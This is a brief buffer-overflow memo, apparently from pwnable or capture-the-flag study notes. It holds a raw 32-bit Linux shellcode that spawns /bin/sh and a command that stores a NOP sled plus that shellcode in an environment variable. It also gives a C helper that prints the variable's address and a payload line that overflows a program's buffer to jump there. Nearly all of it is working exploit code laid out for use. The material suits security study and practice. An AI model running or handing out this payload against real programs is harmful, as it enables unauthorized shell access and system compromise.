[Library / Pwnable] Buffer Overflow Memo

[SHELLCODE Example]

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

[Export SHELLCODE]

export envname=`python -c 'print "\x90"*SizeOfNOP+"SHELLCODE"'`

[Export ENVaddr]

int main(int argc, char *argv[]) {

  char *env = getenv(argv[1]);        

  printf("ENV addr =  %p\n",env);

}

[Payload Example]

./filename `python -c 'print "\x90"*SizeOfBuf+"ENVaddr"'`